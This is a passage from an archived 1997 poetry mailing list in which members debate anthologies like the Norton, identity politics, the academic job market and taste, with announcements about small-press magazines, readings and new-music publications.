only saying what others have already said. At the same time I think the "deeply disturbed" discussion might suffer from a lack of any agreement on terms. More or less, I think anthologies are extremely useful, only they might be (and often are) compiled for reasons we (you or I) disagree with, and are of course influenced on a more general level by dominant ideologies, which in fact they more reflect than create. I think that multi-culturalism, which is not only dramatized in recent marketing trends concerning the creation of anthologies, and which is also similar to anthologizing on the more profound level of method, is also much too useful to be scorned, but in fact does not provide a very stable support for any view of the world above and beyond immediate political situations: in short, is not very revolutionary in the Marxist sense. I think it is important to try to keep a connection between poetry and politics and have tried to do so when possible.

Eliza McGrand- wrote:

>Lucasta was written in
>lovelace's early years, when he was a beautiful honored young man at court,
>when Charles I presided with his family, when lovelace's life seemed to
>open into a halcyon of family, honors, riches, glory... then came the civil
>war, the massacres right and left, the despoilings, pillages, rapes....
[snipped]
>this poem doesn't make it into the anthologies -- i think because everyone
>is so enamored of the image of the courtly cavalier poet that they don't
>_see_ or want to see, or want to have as part of the writer, the
>bitter,disillusioned, agony of the last years, as well as the no longer high
>flown, but often more compassionate writings.

Perhaps one reaon for this is that the compilers of these anthologies want to classify thier subjects, and to keep the boundary lines neat. Lovelace, as you describe him, writes during a period of intense political and aesthetic upheavel: the bougeoise coup-de-grace of aristocratic power, a shift in the make-up of the dominant class (perhaps make-up is not a good word, since they all wore so much of it!?) which eventually becomes reflected in poetry in the shift from courtly poetry to Romanticism. If Lovelace was neither particularly progressive (as, say, Arnold or Whitman), or particularly reactionary (as, say, Spenser or Milton), then it becomes very difficult to decide on which side of the aesthetic he is to be placed. Even anthologies claiming to provide an overview of "Literature in English" always feel compelled to enforce certain groupings. Every "chapter" begins with a pity little argument about why they have choosen to start the section about the 1800's in 1789, or etc. Poor L-l. straddles the fence, as it were, and so one half of his ouevre must be lopped-off in order to make him fit without the aesthetic bounds (or at least to keep him from appearing "out of place.")

I remember from college the frustration of trying to understand these groupings in the face of the poetry itself. It would all make sense in the survey class, but back in the dorm I'd wonder: but HOW is this Victorian verse (or what have you)? And it was never easy to pin it down. More than most, Blake causes trouble, since you might pick up those anti-proverbs, for example, and have no great difficulty in determining thier approximate date: if I remember correctly Norton somewhat acknowledged this difficulty by using Blake as the "dividing line" between the two volumnes of their standard collection. In this way, I agree that:

> *anthologies encourage quick*
> *snapshots, easily tagged and sorted "representations."*

This is indeed the problem I have with them. And I have a similar problem with identity politics, which none the less do much, imo, for equality. However I have a couple thoughts: like anthologies identity politics, as practiced, say, in hiring demographics, assumes a very easy form of representation. One is either male or female, black or white, opressed or un-opressed. This series of opposites arises from a priori categories of sex or race that have been put in place and are still assumed to be "natural." In other words, the fact that your sex is largely determined by societal norms is ignored. Judith Butler, would, I believe, be the most frequently cited source of these ideas. I wish I could remember the name of the essayist and performance artist (and professor, and etc.) who has a video work in the Chicago Contemporary Arts Museum in which she sits at a desk and, looking directly into the camera, addressing "whites", proves step by step that on a scientific, emperical level, regarding blood and genes, they are part black; she then addresses issues of minority hiring ("Why don't you tell that to your boss? Your co-workers? You could get that minority scholarship. Afterall, you are part black. Why deny this fact? Why do you not admit it to yourself?"), etc. The "problem" with identity politics, as I see it, is a matter not of what it does now, which is basically a good thing, but where it leads, what channels of thought it sanctions, which ones it diverts from a public discourse. For example, even though I.P.'s is mostly concerned today with helping people to get jobs, it suggests a view of the world in which people are not viewed in terms of their class-relationships and economic positions, which I think is a dangerous thing to do because it only shifts the burden of the problem--and does not solve the problem itself. It transforms class solidarity into ethnic solidarity--and that is a shame because those two solidarities in no way cancel each other out and might instead be combined for greater effect, as the Black Panthers proved for a little while.

Thank you for reading this far.

Finally, I said in the beginning, "in the Marxist sense" and have tried to carry my crude understanding of these politics on my sleeve through the

above--my point now being that anthologies are less offensive when they state what and which and who they intend to represent (many posts have come while I was writing this that have contained versions of this)--then when they claim to represent an over-arching range.

Ultimately this form of representation, ever dividing itself into small and more detailed parts (like Borges book in the Babylonian library, with pages so thin each page is two clinging toghether--into infinity [I've often thought Norton's was after this effect]) leads to a decline in usefullness, since much of that usefullness is in fact based on discrimination, which is obviously a form of representation, and the more detailed representation you get the less discrimination you have. And since anthologies are in point of fact not people, it is acceptable to say of them: at what point do I consider them useless? At what point do they stop being collections are begin to simulate archives? How far will they go on including before I am just as well off reading the individual books?

Perhaps this sounds as though I am suggesting that minorities write less "good" poetry: I in fact belive quite the opposite, as it seems to me that our present historical situation in this country, and in the world, is more attuned to minority representation than before, and that this leads to, on the whole, better representations. However, about THAT whole issue--the connections between clearly defined representation and aesthetic quality--we would need another thread.

Thanks for enduring.

Matthias

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

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291. **David Kellogg**
Re: "deeply disturbed"
Wed 12 Mar 1997

At 03:05 PM 3/12/97 -0500, Joseph Lease wrote:
>it seems to me that it would be better to do away with the Norton and just
>work to develop a consensus around demystifying anthologies (there is no
>one anthology nor should there ever be one or one that pretends to be one)
>than to fight to get token language poets into the Norton (the old Norton
>obviously I don't mean Paul Hoover's Norton: I mean it is nostalgic even
>to worry about some anthology claiming to be central): teachers do tend to

>want anthologies but it gets less and less likely that they can claim to
>be covering modern poetry by using any anthology

Right on!

Cheers,
David
~~~
~~~

293. **Mark Prejsnar**
Re: "deeply disturbed"
Wed 12 Mar 1997

On Wed, 12 Mar 1997, Joseph Lease wrote:

> *it seems to me that it would be better to do away with the Norton and just work to develop a consensus around demystifying anthologies (there is no one anthology nor should there ever be one or one that pretends to be one) than to fight to get token language poets into the Norton (the old Norton obviously I don't mean Paul Hoover's Norton: I mean it is nostalgic even to worry about some anthology claiming to be central): teachers do tend to want anthologies but it gets less and less likely that they can claim to be covering modern poetry by using any anthology*

Probably a very useful point to make...Many of us here are clearly involved with small and alternative publishing ventures that direct energy/attention away from large institutional/monumental power-nodes, like The Anthology.....Some of us (like me) tend to continue to think of anthologies, in this large resonant sense, as important because we grew up with NAP and other exemplars..But it is argueable that everyone, including teachers, might usefully turn away from "tomes" to more fugative texts, as a basis for evaluation/debate/struggle over what we want our poetries to become...(On the other hand, I would hate to see a bad financial return for those who have made the effort/gamble to put out alternative anthology projects--Hoover's, but the several major anthologies from Sun & Moon especially, recently...) It would also need to be said that there are anthologies and then there are anthologies...The ongoing Rothenberg project of reconceptualizing the structure, scope and function of the form, is something else again; that is the other approach: not to abandon anthologies but to radically redo their meaning and identity...

mark prejsnar

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294. **Matthias Regan**
Re: poetry that sells? -Reply
Wed 12 Mar 1997

This is some of the "problem" of identity politics I was trying to describe near the tedious end of my last post:

> *Poetry in America is a diverse, highly contested field, crowded with a variety of practices and philosophies, none of which lend themselves easily to generalizations.*

Absolutely true, or as Joseph Lease says, "Right On!"
But then what is this?

> *How, for example, to classify Rafael Campo, an acclaimed gay Hispanic poet who writes often in formal verse?*

Is this not classification? Does this sentence not actually read:

How, for example to classify Rafael Campo? --An accalimed gay Hispanic poet who writes often in formal verse.

And the problem then is that the original disguises the actual claim.

Marjorie Perloff points out, "Thirty years ago you had
>the establishment?Robert Lowell and Elizabeth Bishop?and the
>counterculture. Now you have endless overlapping, dispersed groups.
>There is no one movement; rather, there are many movements.

The reason for this, imo, being not some greater sensitivity or growth in humanistic potential, but the poetry market itself, which has considerably broadened its base. In other words, not:

"The
>landscape of poetry publishing itself reflects and promotes this
>heterodoxy.

But that it causes this heterodoxy. On the one hand, this is a wonderful thing, leading to greater opportunity for more people to be heard, and in part helping to begin the process of erasing racist, sexist, homophobic aspects of the dominant ideology. On the other hand: more people find more ways to make more money.

The number of small presses in America has grown
>precipitously in the last three decades, fueled in part by advances in
>desktop publishing.

In the final analysis, the people making the computers are the more people making more money I was thinking of. I do not mean to suggest that more small presses is not a Very Good Thing, only that it didn't come out of nowhere.

Thank you for posting this article!

Matthias

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

↑ Index

295. **Joseph Lease**
Re: "deeply disturbed"
Wed 12 Mar 1997

---

this is more or less what I did when teaching intermediate poetry writing as an MFA candidate at Brown: obviously one key thing is to get the young poet into the library both for current literary journals and for weird books from the nineteen twenties or the sixteen twenties

On Wed, 12 Mar 1997, Carrie Etter wrote:

> *Speaking as a finishing MFA candidate at UC Irvine, all of us teaching the undergraduate introductory poetry writing course usually utilize an anthology _in addition to_ frequent handouts. Another common practice is to put a homemade anthology pieced from magazines, individual books of poetry, and anthologies on reserve and let students copy from that. But we have the freedom to design our own syllabi and to select our own texts; I doubt this is true across the board.*
>
> *Carrie Etter*
>
> *On Wed, 12 Mar 1997, Joseph Lease wrote:*
>
> *it seems to me that it would be better to do away with the Norton and just work to develop a consensus around demystifying anthologies (there is no one anthology nor should there ever be one or one that pretends to be one) than to fight to get token language poets into the Norton (the old Norton obviously I don't mean Paul Hoover's Norton: I mean it is nostalgic even to worry about some anthology claiming to be central): teachers do tend to want anthologies but it gets less and less likely that they can claim to be covering modern poetry by using any anthology*

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296. **Joseph Lease**
Re: "deeply disturbed"
Wed 12 Mar 1997

---

reply to Mark: yeah of course I like the Hoover and Rothenberg anthologies and Messerli's recent big one all very much: my point is that every time we have to make the old Norton mean what it used to mean (my guess is it never meant that: I mean not in the contexts that inform this one most directly) we give it a big boost: we need to touch just teach our children that anthologies are human institutions like a clubhouse in a tree (or like a Joseph Cornell box in the case of Rothenberg especially)

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297. **Thomas Lecky**
Re: "deeply disturbed"
Wed 12 Mar 1997

[redacted] wrote:
>
> dear thomas (lecky), i *do* understand your decision to leave stanford (to
> leave standford... wow!) on the basis of reduced job possibilities...
>
> but please: as a white male het (one having strong sympathies with that
> olsonian line you mention), i must observe that your problems with the
> academic job market, or most other job markets for that matter, do not
> reduce to your identity... statistically speaking, it's other white guyz
> whom you're losing out to, so to say... much as am i... this much is
> verifiable...

Absolutely. I was perhaps being a bit reductive: I left not for that reason alone, of course, but because of a host of worries, fears, etc. that surround study. And I think you've really hit on something with your phraseology: "losing out." And I do not exclude myself from the equation; that is the real pity in parts of this discussion, the exclusion of one's own self from the problems we as a species have created. As much as we are all part of the solution, we are all part of the problem. My "identity" (I don't even know what the hell that really means) is a mess. The academy is a mess too; anthologies are a mess; so what? So, I like to read Robert Creeley and I am totally uninterested in Rita Dove. All you on Dove's side attack. All of us on Creeley's side will defend. And? This thread has swirled in and out of politics by way of the thing we cannot name: taste.

There are so many factors at work making things sour that we could continue ad infinitum. I'd rather go read Creeley. It is in his words, among so many others (including, for me, many list members), that we approach the democracy of words Williams recognized as the true source of freedom.

Williams to Creeley: "My own (moral) program can be chiefly stated. I send if for what it may be worth to you: To write badly is an offense to the state since the government can never be more than the government of the words... Bad art is then that which does not serve in the continual service of cleansing the language of all fixations upon dead, stinking dead, usages of the past. Sanitation and hygiene or sanitation that we may have hygienic writing."

And in "A 1 Pound Stein": "It's the words, the words we need to get back to, words washed clean. Until we get the power of thought back through a new

minting of the words we are actually sunk. This is a moral question at base, surely but a technical one also and first."

These are the best moral and political positions I can use to defend my own.

Thomas Lecky
--

Thomas Lecky
[redacted]
Qwerty Arts http://www.qwertyarts.com

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298. Hugh Steinberg
poetry that sells?
Wed 12 Mar 1997

Those numbers are pretty good (although I wonder what the print runs were). One of the things that makes poetry publishing different is scale. It's not like your average poetry publisher is printing 50,000 copies of any particular book. I work for a very small (about four titles a year) press, Tia Chucha Press, and our print runs are about 1,000 to 2,500. From what I know, runs of that size are typical for books of poetry. We're lucky that we have a stable distributor at Northwestern University Press (our three previous distributors went bankrupt and we lost a lot of money). So long as you don't get megalomaniacal and print too many books, it's not too hard to sell out your printing run. The books sell, some faster than others, but they do sell. Some of our titles are already in their third printings.

Hugh Steinberg

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299. William Burmeister Prod
Re: "deeply disturbed"
Wed 12 Mar 1997

Thomas Lecky wrote:

> This thread has swirled in and out of politics by way of the thing we
> cannot name: taste.
> There are so many factors at work making things sour that we could continue ad
> infinitum. I'd rather go read Creeley.

I couldn't agree more. It seems to me (at the risk of perhaps over simplifying a complex issue) that taste or preference is at the heart of many discussions on the value of poetry and the marginalization of this or that poet, or poetry movement. But why isn't taste or preference named as such more often? I do realize that in my position (outside of the universities and colleges) it is easier for me to avoid the identity politics faced by those who teach and those who interview to teach. But at home, do I practice discrimination when I browse the bookstores and pick up, and read, and buy Zukofsky, Bernstein, Stein, etc., but not Rita Dove, Maya Angelou, or Adrienne Rich? In the stict sense of the word yes! Am I a racist or sexist? No. It probably has more to do with what I find engaging, interesting, mind-blowing, etc.

The "Different Faces of Poetry" by Mallay Charters also has:

> Reports Sun Young Li, associate
> editor at the experimental, New York City-based Asian American
> publishers Kaya Publications: "All of our poets are moving beyond the
> issue of identity. It's a phase people have to go through, but it's ultimately
> limiting. The writers at Kaya are much more concerned with aesthetic,
> literary and political issues."

This makes sense as a goal. Attainable? We'll see. Identity politics as a vehicle for recognition and representation? Definitely. But when do the training wheels come off?

Best,

Bill Burmeister

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300. **DS**

Re: "deeply disturbed"

Wed 12 Mar 1997

> *Absolutely. I was perhaps being a bit reductive:*

So, I like to read Robert Creeley and I am totally
>uninterested in Rita Dove. All you on Dove's side attack. All of us on Creeley's side
>will defend.

You 'were' being a bit reductive.

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301. **David Israel**
Re: FFCop's story mambo / SA lit workshops?
Wed 12 Mar 1997

Joe Amato --

your remarks abt. Coppola's new lit-mag read sensibly; as noted, I've not yet seen it, but agree w/ your points (& "let's see!" stance). Further: of course the interface between literature & cinema is an important one culturally. Vital -- but poss. not enought thought about / grappled with / considered. If the "Faces of Eve" instance proves not isolated, but an example of ongoing attention to that borderland, this in itself would do Mr. C. some credit.

Too: readership of the Z zine is apt to include Hollywood-types -- who (depending on editorial bent) might benefit . . . Inshallah, look forward to your work therein (& anon on screen? ;-)).

d.i.

p.s.: speaking of film, I'd meant to mention -- pursuant to now-long-ago thread re: film heroines (don't have the posts right at hand -- but I was the unwise chap [& Poetics newbie] who made mention of *Bandit Queen* in connection w/ that query) --

So: here's another (I dare say better) suggestion: director Ketan Mehta's *Mirch Masala* (Hindi), in English circulated under title *SPICES*.

Remarkable -- beautiful film, w/ a strongly feminist POV, a historical setting (I suppose circa 19th century), excellent use of image, music (folksong), story (something of a morality tale, but told w/ an interesting sense of the archetypal) -- dealing in fact w/ some of the same issues as *Bandit Queen* endeavored to address, but in a different manner.

Saw it when new -- abt. a doz. years ago at Pacific Film Archive (Berkeley). So happens, San Francisco writer / sound-recordist Shafi Hakim had a part in writing the script. (If the Poetics chap who'd sought such films might be interested in this but has a hard time tracking down a copy, one could check w/ Shafi, I suppose.)

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302. **DS**
Re: "deeply disturbed"
Wed 12 Mar 1997

In the stict sense of the
>word yes! Am I a racist or sexist? No. It probably has more to do with what I
>find engaging, interesting, mind-blowing, etc.

Or with the way you read? And are taught to read? I'm not defending third rate non-white non-male writers but then i'm not comparing them with the great dead whites either. There are some excellent u.s.w. non-w non-m writers and have been for centuries. It's ridculous comparing Angelou to Creeley. Perhaps to Heaney or Ted Hughes or more popular/accessible 'poets'. And to write off the rest of the world by 'ethnicity' ooops except Baraka (who is okay) is REDUCTIVE in the extreme and to rationalise this in almost Bloomsian terms as not racist but. Well...

I don't know i always try to stay out of discussions like this, but then find myself dragged in. Its like letters to the editor in the local paper (now there is a peculiar poetics) I read & read & get steamed up at least 2 letters out of three & slam the paper down - or leave it on a bus in disgust & very rarely - usually when a whole lot of variables manage to line up - time, convenience, writing implements, the planets, my mood, nothing better to do (there is always something better to do) I write in response.

One of three things happens

1. i don't post it
2. i post they don't print
3. i post they print i regret

Obviously the first option is the best & least frustrating. Today I post knowing it will be published (to the list at least).

So regrets in advance

& love & respect to all...

& more to those who agree with me - if they find i have really said anything at all.

& more to those who disagree

& to those who really disagree - I'd love to step outside, it's sunny & warm in Auckland today.

Oh resevoir,

Dan

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303. Charles Bernstein
TINFISH (fwrd from Susan Schultz)
Wed 12 Mar 1997

From: Susan Schultz <[redacted]>
Subject: TINFISH! Collectors' Edition!

TINFISH #4 is now available. Each copy has a different full-color cover, featuring palimpsests of Hawai'i travel brochures and other local advertising; the overlays are incredible. The covers are by Gaye Chan and Duncan Dempster of the University of Hawai'i art department. Contributors from Hawai'i, Australia, New Zealand, the continental U.S., and elsewhere, include: Kapulani, Murray Edmond, Adam Aitken, Pam Brown, Yunte Huang, Richard Hamasaki, Rebecca Mays Ernest, Paul Hoover, John Noto, Dan Raphael, Gabrielle Welford, Joshua McKinney, Jorge Guitart, John Kinsella, Susan M. Schultz, Loss Pequeno Glazier, Sue Moss, Dan Featherston, Michelle Murphy, Liz Waldner, Cydney Chadwick, Marie Hara, Joshua Harmon, and Hazel Smith; design by Suzanne Kosanke.

The price is $5 per copy; $13 per 3 issue subscription. TINFISH's address is 1422A Dominis Street, Honolulu, HI 96822, or you can reach me through this email account <[redacted]>.

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

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304. Carnography
Re: The Twentieth Century
Wed 12 Mar 1997

To all:

> *From: ron <[redacted]>*
>
> *alert! FC2/Black Ice Books is under investigation by a congressional committee trying to shut down NEA. more to follow. letters of support can be faxed to [redacted].*

First books targeted:

SM, by Jeffery DeShell, Blood of Mugwump, by Doug Rice, The Mexican Trilogy, by D.N. Stuefloten, and Chick Lit 2, edited by Chris Mazza. It seems my book, Distorture, will probably be the next to be targeted. After that, I'm not certain who's next.

Even if this turns out to be good for individual writers, the fact remains that it's bad news for BIB and for all other literary academic presses. Please write letters of support and do what you can.

Also:

In celebration of two new books:

Distorture

&

Beneath the Empire of the Birds

March 27, 7:00 p.m.

Tower Books

Readings by

Rob Hardin
Darius James
and Carl Watson

383 Lafayette Street
NY, NY 10009
212/[redacted]

There will be posters, wine, beer, an ad in the Voice, a choice pic in The NY Press: The place will be a madhouse.

An aside: All responses to me personally must be emailed to me personally: After getting continuously flamed for punctuation, and then getting flamed for calling a punctuation flame bad netiquette (which it is: I worked for NetBooks for two years and copyedited the Masquerade book on the internet--I use such neologisms accurately), I don't really see much point in perpetuating arguments on listserv. Therefore, I won't be reading the list and won't respond to messages on the list.

Still, Black Ice Books/FC2 is more important than the logistics of any personal exchange. Jeffery DeShell is a great writer and future DeShells deserve to be published. Please support free speech and let's forget about past differences.

All the best always,

Rob Hardin

http://www.users.interport.net/~scrypt/
http://www.horrornet.com/hardin.htm

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305. Carnography

BIB targeted by congress/Three monologues for heterogeneous voices and free beer

Wed 12 Mar 1997

To all:

> *From: ron <[redacted]>*
>
> *alert! FC2/Black Ice Books is under investigation by a congressional committee trying to shut down NEA. more to follow. letters of support can be faxed to [redacted].*

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Still, Black Ice Books/FC2 is more important than the logistics of any personal exchange. Jeffery DeShell is a great writer and future DeShells deserve to be published. Let's all support free speech and forget about our differences.

All the best always,

Rob Hardin

http://www.users.interport.net/~scrypt/
http://www.horrornet.com/hardin.htm

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306. Maria Damon (Maria Damon)
Re: More shilly-shallying battle cries
Wed 12 Mar 1997

---

amen

At 1:04 PM 3/13/97, [redacted] wrote:
>I've read a couple of messages now in which "identity politics" and "job
>market" have been spoken in the same pixellated breath, but where the actual
>discussion seems to be about the increasing use of adjuncts and so on. I'd
>like to hear someone develop the argument about the relationship between
>identity politics and jobs, though I promise to be skeptical. Identity
>politics has been around a lot longer than the inclusion of some conservative
>ethnic (in its labored sense as "non-white") voices in the Norton. And job
>woes have been around a lot longer than multiculturalism. I'm not in any way
>defending the job market/process as it's now practiced, but I don't want to
>see the problems with it racialized--which is not what anyone's meaning to
>do, I know, but the language slippeth a bit.
>
>Susan

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307. Wendy Battin
Re: "deeply disturbed"
Wed 12 Mar 1997

Thomas Lecky wrote:

> *This thread has swirled in and out of politics by way of the thing we cannot name: taste.*

"Taste" may be be trivial, but love isn't. Love is just the inadmissable motor that gives energy (however waning) to judgment. Perhaps if we could own up to the poets who woke us we'd be better equipped to hear what wakenings are available elsewhere? Pound & Yeats & Stevens & Bassho & Donne & Blake woke me, and I've had students teach me how Cummings & Bukowski & even god help me Gerald Stern woke them. It's not the same second-hand, but it's not a bad place to start.

Wendy

---------- Wendy Battin (home)
http://camel.conncoll.edu/ccother/wjbat/ (CAPA)
http://shain.lib.conncoll.edu/CAPA/capa.html (Multiple Poetics)
http://www.geocities.com/SoHo/Lofts/5471/index.html

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308. Tom Vogler
[1]POETICS Digest - 11 Mar
Thu 13 Mar 1997

---

[1]POETICS Digest - 11 Mar 1997 to 12 Mar 3/12/97

Sorry. Unavailable by email until April 14, 1997.

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309. Dorulet D Ana
Re: Oops
Thu 13 Mar 1997

>You might have sent it to the wrong address because when I made my E-mail >account I might have put the wrong state make sure you sent it to NJ.Sorry.
>From, Filip
>Ps.this is the first time I am using e-mail. I am only nine.I hope I do everything right.
On Wed, 5 Mar 1997 19:33:07 -0800 Herb Levy <[redacted]> writes:
>Kenny,

>
>I found the package of 2 CDs & press release that I thought I'd sent
>to you
>when I got back today. It's in the mail now & I think you'll have it
>by
>Saturday, Monday at the latest. Sorry.
>
>Here's a few URLs that may be of interest to your visual poetry self:
>
><http://www.ims.csuohio.edu/wreyeting/index.html>
>
><http://www.ims.csuohio.edu/selby/casthome.html>
>
><http://www.net22.com/qazingulaza/>
>
>though I'm sure you've seen them all.
>
>Hope to see you at Roulette next Saturday.
>
>Bests,
>
>Herb
>
>
>Herb Levy
>[redacted]
>

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310. Dorulet D Ana

Re: Oops

Thu 13 Mar 1997

This is Ana Doina
I am sorry for the previous message. My son thought he was using his
e-mail on Juno when in fact he was using mine.
sorry for any inconvenience or confusion his message might have created.
AD

On Wed, 12 Mar 1997 21:38:33 PST Dorulet D Ana <[redacted]> writes:
>>You might have sent it to the wrong address because when I made my
>E-mail >account I might have put the wrong state make sure you sent it
>to NJ.Sorry.

>>From, Filip
>>Ps.this is the first time I am using e-mail. I am only nine.I hope I
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>On Wed, 5 Mar 1997 19:33:07 -0800 Herb Levy <[redacted]> writes:
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>>though I'm sure you've seen them all.
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>>Hope to see you at Roulette next Saturday.
>>
>>Bests,
>>
>>Herb
>>
>>
>>Herb Levy
>>[redacted]
>>

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311. Chris Stroffolino
Perloff/Kellogg, et al.
Thu 13 Mar 1997

I've been watching with much interest (and dare I, at the risk of seeming an irresponsible aesthete, say "with much pleasure) the recent "deeply disturbed" thread and am excited by the possibility of something like a "public sphere"

beyond coterie debates and would like to address a few points that hopefully could be further addressed, etc.---

At one point, Marjorie writes that these mutlicultural poets are "ironically, quite conservative so far as form, rhetoric and the ontology of the poem are concerned." Being a reader of Marjorie's work, I know what she means, but it may not be self-evident to many why these forms AND ONTOLOGIES are conservative, or naive, or unreflective, etc. For there IS a valid point to be made that much of what many of us (I'm including myself in a larger interpretative community here, but any one of you may feel free to deny you share these assumptions, in fact I myself do not ALWAYS share these assumptions and who knows what tomorrow will bring) consider to be properly self-conscious, sophisticated, reflexive, recursive, whatever, work may, for many people, actually be a kind of decadent masturbatory work. I find such a dialogue interesting and it is often the subject matter of my work, as well as the work of many writers I admire--but it is NOT a necessary precondition for GOOD POETRY for me (I am, by the way, not saying that anybody on the list has said it was--just trying to raise some questions). And I guess what I would like to see more of is the kind of dialogue, or "coalition building" between some of these rigid factions. In the first place, to speak of identity politics or multicult, whatever, as a recognizable kind of verse, may very well elide the differences between several kinds of modes--i.e. RITA DOVE (as current whipping woman DU JOUR) is very far away from say Sterling Plummp(sic?) or Paul Beatty. Secondly, and perhaps more importantly, and suggested in Marjorie's calling attention to "the erosion of all democracy in washington" and the "refusal to criticize" (at least in any blatant way) on the part of many poets many of these problems, that there may be a UNION of practictioners of "radical formal innovation" and "radical CONTENT innovators" that can be emphasized more than it seems to have been in the past. Even the union of "bohemian" and "avant-garde" is a good-place to start (and certain gestures in Paul Hoover's anthology are to be very applauded for moving in this direction). That a poet can be INTELLECTUALLY or EMOTIONALLY or ETHICALLY radical, or at least challenging (even on a strict word level, as say BRECHT or LANGSTON HUGHES or D.H. LAWRENCE, is, despite the lack of what many would call formal innovation in their work--in ways, admittedly, Angelou or Dove, FOR ME, are not) may "compensate" for the lack of the more purely formal radical qualities in their work. I've said this before, but will again--that there is no necessary connection between FORMALLY innvative and SOCIALLY innovative work. It's great when a poem can be both, but for me if it's at least ONE of these (and if often doesn't matter which one, as long a it's at least one), it passes through my censors and is therefore deemed INTERESTING, etc. What makes certain poets in the ALLEN anthology, for instance, radical is NOT NECESSARILY form, or limited to form, or the formal

radicalism may, after 38 years, seem now incidental, more a matter of fashion (see O'Hara's "Mayakovsky" for an example of a "speaker" theatrically aware of the the STRICTURES of the avant-garde as much as say a Lowell would come to feel the strictures of the "mainstream"--and in this light I could call attention to the replacement in the 80's (the period that is largely in questin here) of both Amiri Baraka by Michael Harper and of Kenneth Koch by Gerald Stern in the widely taught Poulin anthology (the latter of which, in both cases, are more benign both FORMALLY and SOCIALLY), or, more generally, the way much black radicalism was replaced in anthologies (definitely the NORTOn--not the Hoover one) by 1) more benign black writers (i.e. Dove again) or 2) other "fashionable" minorities (which in many cases, and probably not accidentally, are also more conservative, I think of Cathy Song, in particular, but there are others)--which has the effect retroactively of calling into question the decisions on the part of the anthologists to publish the more radical writers in the first place (kinda like the way "silly love songs" called into question the motives behind, say, Sgt. Pepper--for those who didn't already suspect SGT. Pepper when it came out--okay, sorry, a strained analogy). So, I would question David (Kellogg's) remark that "MULLEN, HUNT, ET AL., are not excluded because Rita Dove is included...." Sure, I do not want to act as if "the currently included poets are part of the problem" and I hope I will be forgiven for the use I am making of RD (Dove, not Duncan or DuPlessis) here, as a kind of intellectual shorthand, or synechdoche, for a certain style, but sometimes it is important to entertain the possibility of conspiracy (as long as one does not get all ghasthy serious about it) and realize that, YES, the poetry climate as well as the "larger" political climate has indeed gotten much more conservative in the last 20 odd years--but I do think that we should question what we mean by "conservative" in several ways. 1) the rhymes in the work of many slam-type poets (or rap) are not EXACTLY conservative in a new formalist way, as Creeley once told me in a letter "NEVER TOO LATE TO RHYME!" (Bernstein is rhyming alot lately, and Lee Ann Brown....others....). There is a whole set of issues of orality involved, and to say I HATE SPEECH does not necessarily make one a radical these days. Also, conservative and conservation share a similar root, no? What if one says "I am a conservative in exactly the ways that the so-called 'conservatives' are not"? COnservatives are actually some of the most WASTEFUL, final-fronteir, macho, make it newers out there in many FIELDS (clinton's techno "bridge' to the 21st century). Anyway, one can only go SO FAR out, and the urge to be simple can be radical, it needn't implicate one in a reductive sense of "identity politics" or "esentialism" (on this, Maria Damon's point is also, well taken). I'll stop here, because I'll probably be seen as contradicting myself, or confused, or trying to play more than one part in this discursive situation--i definitely have more questions than answers, but, then, if one can not help but define oneself maybe it's okay to define oneself as

undefinable.....at least as an opening gambit, in a cultural climate that seems way too rigid (but then rigidity IS rather comic, no?)----Chris Stroffolino

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312. **David Israel**
Re: suspended music
Thu 13 Mar 1997

Ken Johnson remarks --

<< Just a heartfelt plug for Herb Levy's Periplum CD, Suspended Music. The "long string instrument" is amazing. Totally new.

There used to be a magazine called _Ear_ devoted to new music--is there anything out there comparable? >>

EAR (NYC-based), alas, bit the dust circa. '91-'92, sheerly for lack of ready money to get through a rough spot. Up till then, it was "growing" in many ways, but hit a snag. (FYI, EAR's latest till-the-end publisher, Carol Tuynman, moved back to Beaufort, South Carolina some years ago.) I had pleasure of writing for (& doing some editing at) EAR in the late '80s et seq. (while some of you'all mayhap were gathered at yonder EAR Inn).

As for other, similar, extant magazines? -- I don't know full scope of what's out there, but one that I know & like is:

MusicWorks
(based on Toronto).

(rather close to the old EAR in several respects)

Editorially savvy, the writing is various, sometimes arcane, typically smart & well-informed. Many of the more obscure & remarkable doings & developments in new music find (sometimes rare) overage in the pages of MusicWorks.

AND they include an accompanying CD w/ each issue, specially cut [if that's the word], coordinated w/ feature articles. (In truth, I gotta re-subscribe.) Last I knew, MusicWorks getting on-line (don't have e-address on hand); by now, bet they may have a website.

d.i.

p.s.: among EAR writers I knew, one bright young bloke, Neil Straus, "graduated" (?) to (still-current) music coverage for the NY Times, btw.

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313. David Israel
Re: suspended music (p.p.s.)
Thu 13 Mar 1997

I wrote
>Ken Johnson remarks
but pardon, -- meant Kent

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314. Susan Wheeler
Re: Perloff/Kellogg, et al.
Thu 13 Mar 1997

Thank you, Chris.

> *I've been watching with much interest (and dare I, at the risk of seeming an irresponsible aesthete, say "with much pleasure) the recent "deeply disturbed" thread and am excited by the possibility of something like a*

etc.
Susan Wheeler
[redacted]

37 Washington Square West #10A
New York, New York 10011
[redacted] phone/fax

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315. Jonathan A Levin
Re: "deeply disturbed"
Thu 13 Mar 1997

This topic has been gnawing at me for the last couple of days. I have nothing illuminating to say on it. I feel instead that it reveals something disturbingly (deeply disturbingly) ill-luminated about me, about us (poetics-us, but also U.S. us). I too hate the anthology that sacrifices interesting work for the mundane (though there are ways of making the mundane interesting, and I take both Harriet Davidson's and Bob Perelman's talks at the recent MLA on teaching poetry to be prods in the direction of making us find and profess the interesting where we maybe have deadedned our sensiblities toward it). And I hate the professional impulse to sacrifice interesting minds, with all their lively passions, to an essentialist paradigm that is (and that most everyone in the profession agrees is) hot air. And I can't find a way to make THAT interesting.

It's important to see how the "job market" problem crosses into the "identity politics" problem: the tighter the market, the tighter the pressure will be to

think in narrow-reductionist terms. (The scenario: we can only hire one person, so it has to be someone who fits THIS description.) The profession (read students) is the biggest loser: just as we are expanding (in the sense of becoming increasingly open to new kinds of work from new kinds of people), we are also shrinking (fewer jobs, steady conversion to adjunct labor). So: we will invariably lose good people, many of whom a generation back would have found their calling in teaching. It saddens me. It seems our most urgent professional responsibility, those of us who teach in college programs, is to resist the adjunctification of the profession. Let course enrollments grow, let students complain? Enlist the MLA's power of publicity?

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316. Maria Damon
Re: Perloff/Kellogg, et al.
Thu 13 Mar 1997

---

yes; let's have some real conversation, but not at the expense of enlarged opportunities for heretofore underrepresented folks, no matter how they write.

